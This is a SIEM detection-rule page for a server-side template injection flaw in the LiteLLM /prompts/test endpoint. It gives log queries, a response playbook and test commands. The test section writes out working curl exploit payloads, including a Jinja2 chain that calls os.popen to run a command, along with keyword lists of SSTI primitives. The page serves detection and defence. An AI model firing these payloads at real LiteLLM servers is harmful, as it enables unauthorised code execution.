Detect LiteLLM SSTI RCE via /prompts/test Endpoint (CVE-2026-37004) in Sumo Logic CSE
Detects exploitation attempts against CVE-2026-37004, a server-side template injection (SSTI) vulnerability in LiteLLM's /prompts/test endpoint in versions prior to 1.83.7. The endpoint renders user-supplied prompt templates through Jinja2 without sandboxing, allowing an authenticated (or, in default deployments, unauthenticated) attacker to inject template expressions that reach Python object internals and achieve remote code execution. Detection focuses on HTTP POST requests to /prompts/test containing Jinja2 SSTI payload primitives (e.g. {{7*7}}, __class__, __mro__, __subclasses__, __globals__, __builtins__, cycler, lipsum, self.__init__), followed by anomalous child process spawns from the LiteLLM/Python proxy process.
MITRE ATT&CK
- Tactic
- Initial Access Execution
Sumo Detection Query
_sourceCategory=*proxy* OR _sourceCategory=*litellm*
| where (_raw matches "*/prompts/test*")
| where (_raw matches "*POST*")
| where (_raw matches "*{{*" or _raw matches "*__class__*" or _raw matches "*__subclasses__*" or _raw matches "*__globals__*" or _raw matches "*__builtins__*" or _raw matches "*cycler*" or _raw matches "*lipsum*" or _raw matches "*self.__init__*")
| parse "* - " as src_ip nodrop
| count by src_ip, _sourceCategory
| sort by _count desc Matches proxy or LiteLLM application log lines for POST requests to /prompts/test carrying Jinja2 SSTI payload primitives.
Data Sources
Required Tables
False Positives & Tuning
- Prompt developers submitting valid Jinja2 templates.
- Authorized DAST/pentest activity.
- CI prompt-validation jobs.
Other platforms for CVE-2026-37004
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Jinja2 SSTI arithmetic probe against /prompts/test
Expected signal: Web/proxy log entry: POST /prompts/test with body containing {{7*7}}; response reflecting 49 if vulnerable.
- Test 2Object-traversal SSTI payload
Expected signal: Proxy log shows POST /prompts/test containing __class__ and __subclasses__ tokens.
- Test 3SSTI reaching OS command execution
Expected signal: Proxy log entry with __globals__/__builtins__/__import__ payload AND a ProcessRollup showing sh -c id spawned by python/uvicorn.
References (6)
- https://nvd.nist.gov/vuln/detail/CVE-2026-37004
- https://github.com/advisories/GHSA-6wvf-77m9-58rm
- https://github.com/BerriAI/litellm/commit/d910a95661fce3cdd36f3b06c03ecf9c46c6457c
- https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable
- https://github.com/BerriAI/litellm/blob/244bdffd1bfe7bebdfdef516e1ebe426a898e2f0/litellm/proxy/prompts/prompt_endpoints.py#L1073
- https://yerangamage.com/cves/detail/?slug=litellm-ssti-rce
Response Playbook
Triage
- Confirm the targeted host runs LiteLLM proxy and identify its version; anything < 1.83.7 is vulnerable to CVE-2026-37004.
- Extract the full request body sent to /prompts/test and determine whether it contains a Jinja2 SSTI payload (e.g. {{7*7}}, __class__, __subclasses__, __globals__) versus a benign templated prompt.
- Check the HTTP response status and size for the flagged request — a 200 with reflected computed output (e.g. '49' for {{7*7}}) indicates successful template evaluation.
- Determine whether the request was authenticated (valid virtual key/master key) and from what source IP, correlating against expected prompt-testing users.
Containment
- Upgrade LiteLLM to v1.83.7 (or later) which patches the SSTI in the prompt test endpoint; if immediate patching is impossible, block or disable the /prompts/test route at the reverse proxy/WAF.
- Restrict network access to the LiteLLM proxy admin/management endpoints and rotate the LiteLLM master key and any exposed virtual keys.
- Isolate the affected host if a child process or reverse shell was spawned by the Python/ASGI process.
Evidence Collection
- Preserve reverse proxy and LiteLLM application access logs covering the /prompts/test requests, including full request bodies and response codes.
- Capture the process tree and command lines of any children spawned by the litellm/python/gunicorn/uvicorn process, plus network connections around the event time.
- Snapshot the host memory and relevant filesystem timestamps if code execution is suspected, and collect any dropped files or persistence artifacts.
Escalation Criteria
- !Escalate to incident response if a non-template child process (shell, curl, wget, nc, python spawning /bin/sh) was launched by the LiteLLM process, indicating RCE.
- !Escalate if the LiteLLM proxy is internet-exposed and unauthenticated access to /prompts/test is confirmed, or if master/virtual keys or backend LLM provider credentials may be compromised.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Reverse proxy and LiteLLM access log entries for POST /prompts/test with SSTI primitives and their response codes. - >
Process creation records showing children of python/gunicorn/uvicorn/litellm around the request time. - >
Outbound network connections from the LiteLLM host (reverse shell / egress) and any files written to the working directory or /tmp.
Tuning Guidance
Baseline which users/service accounts legitimately call /prompts/test with Jinja2 templates and allowlist their source IPs or API keys to cut noise. Tighten from broad '{{' matching to object-traversal primitives (__class__, __subclasses__, __globals__, __builtins__, cycler, lipsum) once benign templating volume is understood, and prioritize alerts where the SSTI POST is followed by a child process from the proxy interpreter (high-confidence RCE).
Hunting Queries
Hunts for repeated SSTI probing of the /prompts/test endpoint grouped by source IP and response status to distinguish scanning from successful exploitation.
W3CIISLog | where csUriStem contains "/prompts/test" and csMethod == "POST" | where csUriQuery has_any ("__class__","__subclasses__","__globals__","__builtins__","cycler","lipsum") | summarize count() by cIP, scStatus, bin(TimeGenerated, 1h) index=web uri_path="*/prompts/test*" method=POST | eval p=coalesce(request_body,uri_query,_raw) | where match(p,"(?i)(__class__|__subclasses__|__globals__|__builtins__|cycler|lipsum)") | stats count by src_ip, status Atomic Red Team Tests
Sends a benign SSTI arithmetic payload to detect whether the endpoint evaluates template expressions (safe reconnaissance-style probe).
Command
curl -s -X POST http://litellm.lab.local:4000/prompts/test -H 'Authorization: Bearer sk-lab-key' -H 'Content-Type: application/json' -d '{"prompt":"{{7*7}}","variables":{}}' Cleanup
echo 'No cleanup required; read-only probe' Expected Telemetry
Web/proxy log entry: POST /prompts/test with body containing {{7*7}}; response reflecting 49 if vulnerable.
Expected Detection
KQL/SPL/QRadar/Sumo/Chronicle rules match the {{ primitive in the request body to /prompts/test.
Submits a Jinja2 object-traversal payload enumerating class internals to reach the subprocess module.
Command
curl -s -X POST http://litellm.lab.local:4000/prompts/test -H 'Authorization: Bearer sk-lab-key' -H 'Content-Type: application/json' -d '{"prompt":"{{ ().__class__.__base__.__subclasses__() }}","variables":{}}' Cleanup
echo 'No cleanup required' Expected Telemetry
Proxy log shows POST /prompts/test containing __class__ and __subclasses__ tokens.
Expected Detection
All web-log rules match __class__/__subclasses__ primitives; no child process, so EDR sequence rules do not fire.
Full exploitation payload invoking os.popen through Jinja2 to run 'id', producing a child process from the LiteLLM interpreter.
Command
curl -s -X POST http://litellm.lab.local:4000/prompts/test -H 'Authorization: Bearer sk-lab-key' -H 'Content-Type: application/json' -d '{"prompt":"{{ self.__init__.__globals__.__builtins__.__import__(\"os\").popen(\"id\").read() }}","variables":{}}' Cleanup
echo 'No cleanup required; command only ran id' Expected Telemetry
Proxy log entry with __globals__/__builtins__/__import__ payload AND a ProcessRollup showing sh -c id spawned by python/uvicorn.
Expected Detection
Web-log rules match the SSTI primitives; Elastic EQL and CrowdStrike CQL correlation rules fire on the child process spawned by the LiteLLM process.